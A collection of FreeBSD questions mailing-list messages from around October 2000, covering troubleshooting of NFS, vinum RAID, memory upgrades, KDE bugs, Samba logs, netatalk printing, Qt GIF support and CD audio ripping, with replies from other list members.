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We got SGI O2 which needs a bit of storage attached, so I thought of
using PC running FBSD with vinum and nfs as a cheap RAID box.
Has anybody tried that or similar set up already?

I guess raid 5 with 3 80GB IDE disks, each possibly on its own
controller and a 20GB IDE disk for root and more system oriented stuff
(nonvinum) will do. Are there any NFS issues between SGI and FBSD?
gotchas?

I  would normally prefer scsi setup which would be better, but cost is
the issue here. What would be recommended as an adequate CPU? PIII-733?

anything else to watch for?

tnx.

ZT




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dear all

thanks for all. it;s has been solved, after i changed irq address of ed0
from 3 to 5, although, there's no irq conflict on irq3 (even if i saw after
boot -c), but i dont know why this card cant use irq3.

thanks

regards
tedjo



> ----------
> From: 	Karel J. Bosschaart[SMTP:karelj@wop21.wop.wtb.tue.nl]
> Reply To: 	K.J.Bosschaart@wtb.tue.nl
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> Subject: 	Re: /kernel : ed0 : /device timeout
> 
> On Thu, Oct 26, 2000 at 03:00:31PM +0700, Tedjo Widodo wrote:
> > dear all,
> > 
> > when i boot my FreeBSD 4.1, i found message 
> > "/kernel : ed0 : device timeout".
> > 
> > i use NE2000 isa. i have configured the kernel and it has been
> recogniced on
> > booting process (also when i saw with dmesg). 
> > 
> > this message also appear when i login.
> >
> Usually I'm seeing a device timeout with ed0 whenever the card is present,
> but no network connected, or bad termination on the BNC cable. If your
> card
> has both UTP and BNC, check that it is set for the one you want. In worst
> case, you need to set it with a DOS utility.
> 
> Karel.
> 


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Jesse writes:
> > Jesse writes:
> > > Hi,
> > > Anyone know how I can change my default boot partion to ad0e?
> > Yes - go through the entire boot sequence and change all the places
> > where it assumes that the boot partition is a to be e.
> What do you mean by go through ahd change it?

Just what I said - you need to find everywhere where it's set to a,
and change it to e.

> I can't find anywhere I can specify what the boot partition should be.

I don't believe it's something you can specify. Therefore, you need to
do it in the sources.

> > Since you don't have an an a partition, it's probably easier to use
> > disklabel to add an a partition that's a copy of the e partition, and
> > then use the (new) a partition. That's what I wound up doing, anyway.
> I ended up simply relabeling e as a and it worked, but I'd like to know
> for future reference when I *do* have an a partition.

Well, I'd recommend you avoid that situation. If you do get into it,
you can just swap the a partition and the "real" boot partition.

	<mike


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John Indra writes:
> Thus, what is the reason or why can't I used VCD player apps (such as mtv)
> to watch certain VCD movies under FreeBSD (cause FreeBSD can't mount those
> VCDs)?

It sounds to me like you just answered the question. You can't use VCD
player apps to watch certain VCD movies because FreeBSD can't mount
them. The obvious next question is "why can't I mount them?" The
answer to that one is either "because the version of FreeBSD you're
using doesn't have the VCD file system" (if "certain" actually means
"any" VCDs), or "I can't tell without the error message".

I would recommend taking either next question to
multimedia@freebsd.org, where people who know a lot more about VCDs
than I do hang out.

	<mike


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Hi. I'm trying to put more memory into my 486 DX2 computer.
It's got 16MB at the moment (2 8MB 72 pin simms), but when I add one more 8MB simm, the BIOS sees it, but the kernel panics at boot with a "page fault" error.
I really don't know where I should begin searching for the error here. Any ideas?

/sverre


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Anyone know where I can get a driver for the 3Com 3C920 chipset for FreeBSD
4.11 ?

Got a great server board with this chipset on and FreeBSD does not support
it. I hear that OpenBSD supports it though I am not thinking of moving.

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I've just installed 4.1.1 from an ISO I found laying round the net. It's got 
sendmail 8.11 which is fine by me.

However, where the heck are the sendmail documents and configuration tools?






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At 11:28 29/10/2000 +0100, you wrote:
>Hi. I'm trying to put more memory into my 486 DX2 computer.
>It's got 16MB at the moment (2 8MB 72 pin simms), but when I add one more
8MB simm, the BIOS sees it, but the kernel panics at boot with a "page
fault" error.
>I really don't know where I should begin searching for the error here. Any
ideas?


You have to put simms in in pairs.

This is due to the fact that the CPU can access the RAM faster than the ram
can respond and so the ram is accesses in an odd/even manner. One simm
first then the other and so on.

Phil.


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Hello,

I first install FreeBSD and
during boot get following message:

mountd: ... bad exports list line /home
nfsd: ... cant register with udp portmap

In our LAN for the time present - only PC with MS Windows.

How to configure NFS ?

Sorry my english.
Mike Kretshkivsky
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On Saturday 28 October 2000 22:44, Siegbert Baude wrote:
> Hi Nate,
> just to add my experiences,
>
> > Bugs.  On startup, artsd does not start successfully.
>
> On my system this works for some boots, but not for all. Is there maybe
> some sleep during the initialisation scripts too short or missing?
>
> > Kaiman crashes when trying to load mp3 files, rather,
> > I get an error that says "artsd not started".
>
> But if not always at launch automatically, I always succeeded in starting
> artsd by hand. For Kaiman I´m just compiling it (I suppose it´s in
> kdemultimedia2 ?) I will add my experience, when it´s done.
>
> > Second
> > kwrited does not start successfully and I get a crash
> > panel.  Third, konsole does not start and I get a
> > crash panel.
>
> This is true for me only, if I launch X by kdm. If I do startx from the
> command line, those points work fine. Somebody can imagine, what is causing
> this behaviour? I will have a close look on my start scripts later on.
>
> > Trying to start the embedded konsole in
> > konqueror crashes konqueror.
>
> Only the konsole crashes here, either X started with kdm or startx.
> Konqueror lives on.
>
> > Fourth, konqueror does
> > not handle javascript correctly, and yes I did enable
> > it.
>
> Even worse: I didn´t enable it, but it executes some code, e.g.
> automatically opening new windows. Don´t check out the following link, one
> very brave guy posted here in his signature, because it will open new
> windows until death of your browser at least (also konqueror killed my X,
> when I switched to a terminal to stop it with a kill command.)
> www.nul.cjb.net . (Worse than any XXX-site I ever happened to be flooded by
> cosmic circumstances ;-) )
>
> > Kpm the gtop like app for kde does not get
> > compiled.  So the process monitor applet does not
> > work.
>
> In which tarball is this? kdeutil? Didn´t install this until now.
>
> > Konqueror does not load all images all the time.
>
> DId you compile QT with GIF-support? This is non-default because of the GIF
> patent problems.
>
> > When quitting from the KOShell without saving
> > something, it crashes.  It still cannot create devices
> > like the cd; keeps giving false error of bad
> > permissions.
>
> If not saving, KOShell aks three times instead of only once, but doesn´t
> crash here. Also it is able to read files from CD. What exactly do you mean
> with "create devices"?
>
> On the kde homepage I read about imap support, but kmail only offers me
> local mbox oder pop3. Where must I look for imap support? Or is this
> another application?
>
> Hope to read more stuff about this, to be able to check whether I have
> misconfigured something or we´re facing common problems.
>
> kdm seems to be kind of small showstopper, but launched by startx I faced
> no crashes of any application so far (except the above mentioned javascript
> problem with konqueror, which cost one X session).
>
> If we sorted out misconfigurations, whom should we report the errors? Port
> maintainer or kde directly? Has anybody tried, if those errors exist in the
> Linux version also? What is the correct discussion list for kde related
> problems?
>

I reported the konsole / kwrite problem to submit@bugs.kde.org
and got a reply from the port maintainer. 


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how, using the port,  do you compile qt with gif support?


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> At 11:28 29/10/2000 +0100, you wrote:
> >Hi. I'm trying to put more memory into my 486 DX2 computer.
> >It's got 16MB at the moment (2 8MB 72 pin simms), but when I add one more
> 8MB simm, the BIOS sees it, but the kernel panics at boot with a "page
> fault" error.
> >I really don't know where I should begin searching for the error here. Any
> ideas?
> 
> 
> You have to put simms in in pairs.
> 
> This is due to the fact that the CPU can access the RAM faster than the ram
> can respond and so the ram is accesses in an odd/even manner. One simm
> first then the other and so on.


Pardon me, I've just joined this list and have seen nothing previous to this 
in this thread.

I have a 486DX that takes 72-pin SIMMs. One at a time is fine.

OTOH I had one that took 30-pin SIMMS. That indeed required two at a time.

I don't know the answer, but this sure doesn't sound like it.



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> Hello,
> 
> I first install FreeBSD and
> during boot get following message:
> 
> mountd: ... bad exports list line /home
> nfsd: ... cant register with udp portmap
> 
> In our LAN for the time present - only PC with MS Windows.
> 
> How to configure NFS ?

My exports file reads:
bash-2.04# cat /etc/exports 
#The following examples export /usr to 3 machines named after ducks,
#/home and all directories under it to machines named after dead rock stars
#and, finally, /a to 2 privileged machines allowed to write on it as root.
#/usr                huey louie dewie
/home   -alldirs    -network 192.168.0 -mask 255.255.0.0
#/a      -maproot=0  bill albert
#
# You should replace these lines with your actual exported filesystems.

bash-2.04# 

but it is unlikely to help with Winders. For that, you need samba.





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I have been gettin in /var/log some strange log files.  All have 0 bytes.

They are similar to:

log.bob
log.433
log.starlight
log.jennifer

I am unable to find a log-in from anyone except authorized users (there are
only a handful).

Any ideas?



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* Jaime <jaime@malkav.snowmoon.com> [20001028 20:00]:
=>On Sat, 28 Oct 2000, Odhiambo Washington wrote:
=>> [wash@poeza:~]> papstatus -p LaserWriter
=>> LaserWriter:LaserWriter@*: NBP Lookup failed
=>
=>	I've been using NetATalk with the asun patches on FreeBSD
=>3.0-Release, 3.2-Stable, 3.3-Stable, 3.4-Stable, 4.0-Release, 4.1-Stable,
=>and 4.1.1-Stable.  I've used it without those patches on several 2.2.x
=>versions.  Its always been great for me.

So does the Macintosh on your network see the printers on the FreeBSD
boxes? That is what I ultimately want to achieve.
I need to use PAPD (Printer Access) as opposed to AFPD (File Access) which
is working fine for me too.

=>
=>	I've never needed papd, though.  Only afpd.  So what I'm about to
=>say is a complete guess.  It looks like one of the following might be a
=>problem:
=>
=>- You didn't compile a kernel with "options NETATALK" in the config
=>file.  Does netstat -f altalk show anything?
I did  compile with that...and your test is here..
[wash@alouette:~]> netstat -f atalk
Active ATALK connections
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
ddp        0      0  199.119.134            *.*.*
ddp        0      0  199.119.132            *.*.*
ddp        0      0  199.119.1              *.*.*
ddp        0      0  199.119.2              *.*.*
ddp        0      0  199.119.4              *.*.*
ddp        0      0  199.119.6              *.*.*
ddp        0      0  *.*.1                  *.*.*
ddp        0      0  *.*.2                  *.*.*
ddp        0      0  *.*.4                  *.*.*
ddp        0      0  *.*.6                  *.*.*

=>
=>- You're trying to talk to an AppleTalk printer that isn't there.

Maybe. I want the Macintosh to access the HP DJ Printer on my Unix box.
Windows clients are doing that already...only Mac gives me a problem.

=>
=>- You haven't configured a printer for papd.  According to man papd, you
=>need to configure it via /usr/local/etc/papd.conf.

Very likely because whenever i try to use papd.conf, papd complains and
doesn't wanna start...maybe I need to start it with some option pointing
to a papd.conf somewhere??? That is my dilemna. 
=>
=>						Jaime
=>

Thanks for assisting and hope to hear from you again.


-Wash

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Zdenko Tomasic wrote:
> 
> We got SGI O2 which needs a bit of storage attached, so I thought of
> using PC running FBSD with vinum and nfs as a cheap RAID box.
> Has anybody tried that or similar set up already?
> 
> I guess raid 5 with 3 80GB IDE disks, each possibly on its own
> controller and a 20GB IDE disk for root and more system oriented stuff
> (nonvinum) will do. Are there any NFS issues between SGI and FBSD?
> gotchas?

I have used FreeBSD/vinum as an NFS server for IRIX for some time now
and have had no problems. I worry less now then when I had O200's doing
the job.

> 
> I  would normally prefer scsi setup which would be better, but cost is
> the issue here. What would be recommended as an adequate CPU? PIII-733?
> 

I use the slowest CPU with the fastest bus I can find ... PII450 right
now. I think IDE drives are only ok if you have a seperate controller
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> how, using the port,  do you compile qt with gif support?
> 
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You've got to change the Makefile for /usr/ports/x11-toolkits/qt22. 
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It=B4s problably samba log files. Look for "log file =3D /var/log/log.%m" i=
n
you smb.conf.=20
I really don=B4t know the reason why some log files are 0-byte. Maybe nmbd
creates a file for every machine it knows in your workgroup.
Maybe your machine is masterbrowser on you network?

smbclient -L localhost

/P=E4r


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> log.433
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At 08:11 29/10/2000 -0500, you wrote:
>Zdenko Tomasic wrote:
>> 
>> We got SGI O2 which needs a bit of storage attached, so I thought of
>> using PC running FBSD with vinum and nfs as a cheap RAID box.

>I use the slowest CPU with the fastest bus I can find ... PII450 right
>now. I think IDE drives are only ok if you have a seperate controller
>for each drive ... search the archives for more about that. Don't cheap
>out on the NIC either.

NFS should be fine.

re: Raid controller, a company called iwill has recently brought out an IDE
ATA100 4 disk Raid controller card. Real easy to install as it is all on a
card. Just plug in and go. I believe that there are monitoring tools
provided for most O/S's 

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Could someone give me some advice on how to use "mod_expire" with Apache?

I am seting up mrtg to monitor system statisitcs, and I am having trouble
with Netscape showing old copies of the page.

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hello,

i am interested in using Unix. At this moment i am operating on windows 98. 
Could you possibly inform me of weather this is for me. I am interested in 
learning programming etc, will this help???

Any information which you could give me would be grately appreciated.

thankyou very much.
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This has been bugging me a while. I've always just avoided it.
Is it safe to
    cd /usr/ports/1/2
    make install &
    cd /usr/ports/3/4
    make install
?

if both go to like register the package at about the same time, will the
package database stay not corrupted?
I'm assuming both have all their dependents installed or they share no
dependents -- to avoid the question of building in the same directory at the
sam etime.

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Nathan,
You're on the right track already. The mailing lists are a valuable
resource. I can only assume you got the info from
http://www.freebsd.org to subscribe. Go back to that site and follow
the links. Read as much as you possibly can... and it helps to retain
it too. =]
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Zdenko Tomasic wrote:
> 
> I  would normally prefer scsi setup which would be better, but cost is
> the issue here. What would be recommended as an adequate CPU? PIII-733?

My brother just asked me the same basic question, so I ran a test:

tar -cf /dev/null /usr &

While this was running, I kept an eye on top and couldn't discern any
increase in the cpu useage reported by the vinum process:

root  18  0.0  0.0  592  8 ??  DLs  Wed09PM  0:00.01 vinum: vinum daemon
(vinum)

tar was showing ~10% of a CPU. This box is a dual PII-375 with 4 9G
10kRPM U2W drives in a raid-5 configuration with softupdates enabled.

Watching the vmstat page of systat, the disks were doing ~100 TPS and
about 600kB/s. This obviously seemed a bit low.

Running tar -cf ~/usr.tar /usr shows tar using about 10% of a cpu
(system and interrupt combined are less than 10%, according to top), tps
are down to ~75, but the drives are now doing 1.5-2.5MB/s. Still not
getting the full potential (the drives are seeking their brains out...
/home is a different filesystem that /usr, but they're both raid-5
volumes on the same set of drives).

cp ~/usr.tar /dev/null gets us cp using 25% of a CPU, 17% going to the
system. The drives are cooking along at 4MB/s.

So, as someone else said, CPU speed isn't real important here, it's bus
speed.
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Please don't send messages in html format to the list.  A lot of people in
here have mail clients which can't handle html.  And it makes it difficult
to show your message as a quoted message.

> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
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> Hello


> Im trying to make something close to bat for freebsd.  But don't know
where to start.  I was thinking making so when i hit say "c" it auto connect
start ssh and connect to a remote site.

Sounds like what you need is a shell script.  This is basically a text file
containing the commands you want to issue.  It is usual - I don't know
whether it is necessary - to start a shell script with a comment line
detailing the shell in which it is programmed.  Mine all start:

#!/bin/sh

The trick is not to forget to change the mode so that they are executable.
When a script is created it is not executable.  And you have to specify the
full path if it is not contained in a directory on your path, even if it is
in the current directory.

A good tip is to name your scripts something.sh for bourne shell scripts or
something.csh for c-shell scripts and so on.

As to what you can put in them:

man sh

Others will come in and tell you more or correct me if I am wrong on any
point.

mvh/regards

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Learning FreeBSD isn't the only reason to use it.  Another is
stability.

I've never used Gnome, but have used KDE, and I like it a lot.  It's
actually
like a super-Windows.  Maybe I need to try Gnome, too, though.

I would like to learn FreeBSD, but if the FreeBSD vehicle is to be
suitable for
more than just use by mechanics, it needs to take care of the everyday
driver.

I see FreeBSD as a better Windows alternative than Linux, though
FreeBSD
is, I believe, where Linux was a couple of years ago, in the areas of
ease of
use and application software availability.

Actually, for security, I like OpenBSD even more, but OpenBSD seems to
have weaker support than FreeBSD, so FreeBSD would be my open-source
operating system of choice if I were setting up an IT site from
scratch.

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On 10/28/2000 at 7:31 PM Giorgos Keramidas wrote:

>When a user that comes from Windows or similar environments asks me,
KDE
>is what I recommend too.  But I also take care to note that if what
they
>want is not to 'learn the way FreeBSD works, but make it more and more
>like what their Windows used to be', that they might as well stick
with
>Windows, if that suits their needs/desires better.


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On Sat, 28 Oct 2000, Blake R. Swensen wrote:
> Yes.. httpd crashes on the httpd.conf-dist.
> Yikes!

	"Yikes!" is right.  There is probably a problem in the binary or a
shared library that it relies upon.  Look in /var/db/pkg to see what you
have installed.  Maybe one of your libraries is installed twice, one of
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On Sat, 28 Oct 2000, void wrote:
> % mt -f /dev/rsa1.0 fsf
> mt: /dev/rsa1.0: Device not configured
> 
> I tried it with ersa, nrsa, plain old rsa, rsa without ".0", with ".1"
> or ".2" instead, always the same result.

	Does /dev/rsa1.0 exist?  The file in /dev, I mean.

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Hi ..

Im not in the mailing list, but I have a problem installing FreeBSD 4.1.1.

When I come to the configuration of the xfree86 server, I choose 
"graphic setup", choose my mouse, graphic card, resolution etc., 
it starts to restart x to test the configuration. 

It's here it goes wrong, now the only thing that happens is that a
white square appers the the upper left corner, and nothing else ?

I can kill the session by using ctrl+alt+backspace, but I can't continue 
the installation because of errors, and I would hate to install FreeBSD 
without xfree86.

A short description of my computer :
Logitech PS2 mouse (microsoft / PS2 / auto - sysmouse / ps0m)
Asus V6800 (nvidia geforce ddr)
19" monitor (16bit - 1280-1024 - 74MHz)

Thanks, hope you can help ..

Best regards
Jakob Buck



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On Sat, 28 Oct 2000 stanb@panix.com wrote:
> 	Grabed 34upgrade.tgz, did a pgk_add onit, and now I get:
> 
> 	polar# make install
> 	Error: your port uses an old layout.  Please update it to match this
> 	bsd.port.mk

	Just what it sounds like.  The ports system changed its layout
effective October 10th or so.  Check /usr/src/UPDATING in the CVS server
for details.  I don't bother trying to run cvsup on my ports collection
until I get the OS sync-ed with it.  You might be stuck until you CVSup,
though I am no authority on the subject.

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On Sun, 29 Oct 2000, Spades wrote:
> Oct 29 03:32:18 ghost IPXrouted[35708]: socket: Protocol not supported
> Oct 29 03:32:29 ghost IPXrouted[35710]: socket: Protocol not supported
> Oct 29 03:32:31 ghost IPXrouted[35712]: socket: Protocol not supported

	These look like some program on your system is trying to use
IPX.  You should double check your packages for a possible mis-configured
program.  (See /var/db/pkg for a list of your installed ports.)


> Oct 29 04:07:45 ghost /kernel: pid 77274 (WMws), uid 1171: exited on signal
> 6 (core dumped)
> Oct 29 04:07:45 ghost /kernel: pid 77272 (ConfRoom), uid 1171: exited on
> signal 6 (core dumped)

	It looks like you have binaries called "WMws" and
"ConfRoom" installed.  Try "locate WMws" and "locate ConfRoom" to see
where they are.  (Note:  The locate command only updates weekly.  If those
files are very new, it might not find them.  In that case, use the find
command.)


> Oct 29 10:34:47 ghost /kernel: acd0: read_toc failed
> Oct 29 10:34:55 ghost /kernel: acd0: read_toc failed

	It looks like some program tried to read from your CD-ROM drive
before the drive was done scanning the CD-ROM after it was inserted (or
while the drive was empty.)  This is no big deal.  I get it often.

						Jaime



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On Sun, 29 Oct 2000, Zdenko Tomasic wrote:
> I  would normally prefer scsi setup which would be better, but cost is
> the issue here. What would be recommended as an adequate CPU? PIII-733?
> anything else to watch for?

	Make sure that you have plenty of RAM.  I have a SCSI-based, four
18GB drives vinum array on a FreeBSD 4.1-Stable system at work.  It works
really well.  I have a P-III 500 (or was it a 600?) and 256MB of RAM.  
Its mostly used for web based applications such as TWIG
(http://twig.screwdriver.net), email (qmail and uw-imap), and file sharing
(netatalk-asun and, soon, samba).  No complaints so far and there are
about 100-200 people using it daily.

						Jaime



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On Sun, 29 Oct 2000, Sverre Valgeirsson wrote:
> Hi. I'm trying to put more memory into my 486 DX2 computer.
> It's got 16MB at the moment (2 8MB 72 pin simms), but when I add one more 8MB simm, the BIOS sees it, but the kernel panics at boot with a "page fault" error.
> I really don't know where I should begin searching for the error here. Any ideas?

	Sounds like a defective SIMM, to be honest.

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On Sun, 29 Oct 2000, Peter wrote:
> Im trying to make something close to bat for freebsd.  But don't know
> where to start.  I was thinking making so when i hit say "c" it auto
> connect start ssh and connect to a remote site.

	You'd want to make a shell script then.  Its a *.sh script,
usually.  Of course, you could also write a bash script, a csh script, a
perl script, etc. ....  Its all up to you.  I usually use perl scripts
these days, but shell scripting is the direct comparison to a batch file.

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On Sun, 29 Oct 2000, Odhiambo Washington wrote:
> So does the Macintosh on your network see the printers on the FreeBSD
> boxes? That is what I ultimately want to achieve.
> I need to use PAPD (Printer Access) as opposed to AFPD (File Access) which
> is working fine for me too.

	I took the papd line out of /usr/local/etc/rc/netatalk.sh so that
it wouldn't advertise a non-existant printer.  But it used to show a
printer in the LaserWriter 8 driver.


> =>- You're trying to talk to an AppleTalk printer that isn't there.
> 
> Maybe. I want the Macintosh to access the HP DJ Printer on my Unix box.
> Windows clients are doing that already...only Mac gives me a problem.

	Based on what you've told me, this is not the problem.


> =>- You haven't configured a printer for papd.  According to man papd, you
> =>need to configure it via /usr/local/etc/papd.conf.
> 
> Very likely because whenever i try to use papd.conf, papd complains and
> doesn't wanna start...maybe I need to start it with some option pointing
> to a papd.conf somewhere??? That is my dilemna. 

	I think that /usr/local/etc/papd.conf is defined in the binary
itself.  Not file options needed.  However, man papd shows a -f
option.  You'd have to change the line in /usr/local/etc/rc.d/netatalk.sh
to use this option if you intend to try it.

	I think that this comes down to just a matter of an unconfigured
program.  Read "man papd" and try to write a /usr/local/etc/papd.conf
file.  Then restart your papd process and give it a try.

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On Sun, 29 Oct 2000, Keith Walker wrote:
> You've got to change the Makefile for /usr/ports/x11-toolkits/qt22. 
> Scroll down a little, you'll see the offending line - it has something 
> to do with licensing.

	Actually, you just need to do this:

$ cd /usr/ports/x11-toolkit/qt22
$ make -DQT_GIF_AVAILABLE

	Trust me, I just tried it.  :)

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> how could i gt gpm running on my freebsd 4.1 box ? I can't find it in the
> ports tree, and it was not installed as i installed freebsd... 

Use moused instead. It provides the same functionality.

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To FreeBSD Guru Question Answerers:

In order to get digital audio from my cdrom to my hard drive it has been
recommended that I use the program tosha. Unfortunately it fails to work.
Since the error seems like something someone I am writing this to might know
how to address I am writing this. I have already exhausted a number of other
resources quickly. The man page for tosha wasn't helpful, the domain of
author of tosha's email address doesn't resolve and people in #freebsd on
efnet were not helpful.

I can use my cdrom drive to mount normal data cds without any problems. In
fact tosha -i correctly displays the name of my cdrom and correctly lists
the track information. 

Here is the relevant CDROM information, from Tosha:
Device: /dev/cd0a -- "YAMAHA" "CDR400t" "1.0q"

I have an Adaptec AHA2940 scsi controller. The only other scsi device is a
hard drive. Here are the important lines from my kernel config file:

# SCSI Controllers
device          ahc             # AHA2940 and onboard AIC7xxx devices

# SCSI peripherals
device          scbus           # SCSI bus (required)
device          da              # Direct Access (disks)
device          sa              # Sequential Access (tape etc)
device          cd              # CD
device          pass            # Passthrough device (direct SCSI access)

This is what tosha does when I run tosha -t n, where n is a valid track.

zeus# tosha -t 1
Device: /dev/cd0a -- "YAMAHA" "CDR400t" "1.0q"

 track   playing  start    end     raw size  mp3 size   # of   track
 number   time    sector  sector   in bytes  128 kbps  frames  type
---------------------------------------------------------------------
    1    7:27'58      32   33614   78987216   7165208   17142  audio
error sending CD-DA read command: Invalid argument
zeus# 

It creates the file track0n.raw which contains what appears to be only a
audio header.

This seems to be something obvious. Maybe I just missing a config file or
need to add a line to kernel config?

When replying please CC me since I am not subscribed to the
freebsd-questions list.

Thank you,

Ben.


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On Sun, 29 Oct 2000, nathan . wrote:
> i am interested in using Unix. At this moment i am operating on windows 98. 
> Could you possibly inform me of weather this is for me. I am interested in 
> learning programming etc, will this help???

	Given what you've said, I should first warn you to buy another,
seperate computer.  When I first started learning how to install and
manage Unix, I was only familiar with MacOS and a tiny bit of a VMS
mainframe at my university.  I bought a 486dx2/66 with 16MB of RAM and
212MB of hard drive space.  I installed NetBSD 1.1 by hand, one floppy
disk at a time.  Two weeks later, I had a bootable system with a graphical
interface.  It didn't run as well as my Mac, so I didn't keep it.  But
that was a very intensive two weeks of study.

	These days, I'd suggest shelling out $200-$300 for a cheap Pentium
system with at least 32MB of RAM and 1GB of HD space.  An ethernet card
and/or modem is a must.  If your current computer has an ethernet card,
buy a hub (a small one will cost about $40) and connect the two computers
together.

	The first step after buying the hardware is to set some simple
goals for yourself.  Here's my recommendation:

- Get the new computer to boot FreeBSD.  Install it, make an account for
yourself.  Reboot after installing it.  Login to both the root account and
your new account.

- Install XFree86 so that you can play with a graphical interface.  This
is a bigger step than it sounds like.  It took me a full week to do the
first time.

- Now that you have a graphical interface, make it "pretty".  This is a
good chance to learn how the packages system works.  Use the packages
system to install xv (a basic graphics viewer) and a window manager.  (See
http://www.plig.org/xwinman for screen pictures of different window
managers.)  Play with this for a while.  Its a pretty intensive step.

- Now that you have a handle on the graphics, work on the networking.  
Configure your network settings so that the computer can "see" the Windows
98 computer when they're both connected to the hub.  If you have a larger
network that you connect to, ask its administrators for advise on how to
proceed.  You can use the hub's uplink port to connect both computers to
the network at the same time.

- Since you wanted to learn how to program, play around with your system's
software now.  Install different editors and other programming tools and
try them all out.  Find the ones that you like the most.  I usually use
xemacs and vi (xemacs is a package, vi is installed by default).  The
programming class at my job usually uses pico (installed when you install
the package "pine").

- Write a simple program in whatever language you want.  You have shell,
perl, C, TCL, and more installed by default.  You can install BASIC, Java,
and others from the packages system.

- Install Netscape, an ICQ/AIM/etc. program, and so forth and play around
with networking stuff.  This should be an easy step by now.

- Install a few games and enjoy.  My favorit is xkobo and its in the
packages.  At this point, you're probably not going to need that Windows
98 computer very often.  Its still good for a few games and anything that
requires printing, but the FreeBSD system should be able to do the rest
and do it better.

	After that, you should be able to do a lot of stuff.  Programming,
web browsing, running a server for Windows computers, and more.  Then you
can explore what else is possible.

	If the above steps look odd or hard, make your own goals.  Just
keep subscribed to this mailing list.  When you hit a problem, someone in
here probably knows the answer.  Good luck.

							Jaime



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If the startup scripts are nt in /usr/local/etc/rc.d, /etc/inet.conf,
/etc/xinetd.conf (if you installed xinetd) or in /etc/rc.local , then you
should be ok.  Proftpd has alot of featured that I like, and it doesn't run
as superuser.  U can also chroot users to thier home directory, so I like
proftpd because of this.

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hi,

I can't seem to find anyway to configure the document root of the default
FTP daemon with FreeBSD, so I'd like to replace it with another daemon,
probably the one located here:  http://www.proftpd.org/.

I'm sure this also has a lot more features than the default FTPD.  I'm also
sure that I have to somehow uninstall the default FTPD, and was wondering
how to go about this?  I think I can install ProFTPD without problem, once I
can get rid of this defaul
 FTPD.

Please send replies to degraz@tusco.net, as I am not subscribed to the list.

thanks,

travis troyer



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Check /etc/make.conf.  Also check /etc/default for default make options.
The cc/gcc programs control switches with program builds.  As far as
experimenting with optimization and debugging options , don't do it.  I've
done this and it has done nothing but made unbootable kernels and core
dumping programs.

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Where is the documentation for the switches available for make buildworld?
Specifically I'm looking for the one to prevent deleting /usr/obj, but in
general it would be nice to know where they're all listed.


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-On [20001029 14:45], stanb@panix.com (stanb@panix.com) wrote:
>Could someone give me some advice on how to use "mod_expire" with Apache?
>
>I am seting up mrtg to monitor system statisitcs, and I am having trouble
>with Netscape showing old copies of the page.

The MRTG documentation explains this adequately.

I suggest you take a look at www.mrtg.org

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[Sorry to explicitely cc: you Gregory, but it might be interesting where
this leads to.]

-On [20001029 12:35], John Summerfield (summer@OS2.ami.com.au) wrote:
>
>I've just installed 4.1.1 from an ISO I found laying round the net. It's got 
>sendmail 8.11 which is fine by me.
>
>However, where the heck are the sendmail documents and configuration tools?

Which documents are you referring to?

Also, doesn't http://www.sendmail.org/ have what you need?

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There are lots of CD rippers out there.  This is why Mr. Napster is in
trouble because too many people buy a cd and rip it to disk and then send it
to him.  So he takes the hit for everyone else'd piracy...  But anyway, cd0
is the correct cdrom device for an aha2940.  The cdrom appears to work.  The
command line arguments appear to be the problem and not the cdrom or tosha.

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To FreeBSD Guru Question Answerers:

In order to get digital audio from my cdrom to my hard drive it has been
recommended that I use the program tosha. Unfortunately it fails to work.
Since the error seems like something someone I am writing this to might know
how to address I am writing this. I have already exhausted a number of other
resources quickly. The man page for tosha wasn't helpful, the domain of
author of tosha's email address doesn't resolve and people in #freebsd on
efnet were not helpful.

I can use my cdrom drive to mount normal data cds without any problems. In
fact tosha -i correctly displays the name of my cdrom and correctly lists
the track information.

Here is the relevant CDROM information, from Tosha:
Device: /dev/cd0a -- "YAMAHA" "CDR400t" "1.0q"

I have an Adaptec AHA2940 scsi controller. The only other scsi device is a
hard drive. Here are the important lines from my kernel config file:

# SCSI Controllers
device          ahc             # AHA2940 and onboard AIC7xxx devices

# SCSI peripherals
device          scbus           # SCSI bus (required)
device          da              # Direct Access (disks)
device          sa              # Sequential Access (tape etc)
device          cd              # CD
device          pass            # Passthrough device (direct SCSI access)

This is what tosha does when I run tosha -t n, where n is a valid track.

zeus# tosha -t 1
Device: /dev/cd0a -- "YAMAHA" "CDR400t" "1.0q"

 track   playing  start    end     raw size  mp3 size   # of   track
 number   time    sector  sector   in bytes  128 kbps  frames  type
---------------------------------------------------------------------
    1    7:27'58      32   33614   78987216   7165208   17142  audio
error sending CD-DA read command: Invalid argument
zeus#

It creates the file track0n.raw which contains what appears to be only a
audio header.

This seems to be something obvious. Maybe I just missing a config file or
need to add a line to kernel config?

When replying please CC me since I am not subscribed to the
freebsd-questions list.

Thank you,

Ben.


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Mark Rowlands wrote:
> 
> how, using the port,  do you compile qt with gif support?

cd /usr/ports/x11-toolkits/qt22
make QT_GIF_AVAILABLE=yes install clean

So you don´t have to change the Makefile.


Ciao
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HI,
I'm having some trouble with getting enlightenment running. I installed the
package with all the other required ones. I changed my .xinitrc to
/usr/X11R6/bin/enlightenment (X works okay with other Windowmanagers twm,
etc..) and when startx is run I'm getting the following when it tried to
start enlightenment:
/usr/libexec/ld-elf.so.1: Shared Object "libxpg4.so.3" not found
Is there another package I should have installed? When I did some searching
I found some references to a Netscape bug requiring an update to this file
but nothing that seemed to help. Any suggestions would be appreciated.
- Matthew Rudderham



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>> However, where the heck are the sendmail documents and configuration tools?

Look at:

/usr/share/doc/smm/08.sendmailop/
/usr/share/sendmail/       (in more recent snapshots)


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Hej Jakob,

-On [20001029 16:35], Jakob Buck (jakob.buck@mail.dk) wrote:
>Im not in the mailing list, but I have a problem installing FreeBSD 4.1.1.

That's not good.

>When I come to the configuration of the xfree86 server, I choose 
>"graphic setup", choose my mouse, graphic card, resolution etc., 
>it starts to restart x to test the configuration. 
>
>It's here it goes wrong, now the only thing that happens is that a
>white square appers the the upper left corner, and nothing else ?
>
>I can kill the session by using ctrl+alt+backspace, but I can't continue 
>the installation because of errors, and I would hate to install FreeBSD 
>without xfree86.

Erhm, so you don't have a problem installing FreeBSD, but only XFree86,
which is a third party piece of code.

Some suggestions:

- continue installation of FreeBSD without X for now and after finishing
  the installation of FreeBSD, log in and start /stand/sysinstall as
  root and then retry X.

- have a look at www.xfree86.org for more details on what goes wrong

- Try to bother http://www.bsd-dk.dk/

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Hi Joe,
 
> Has anybody gotten this cinfiguration to work?
> 
> I'm using
> device       pcm
> device       joy
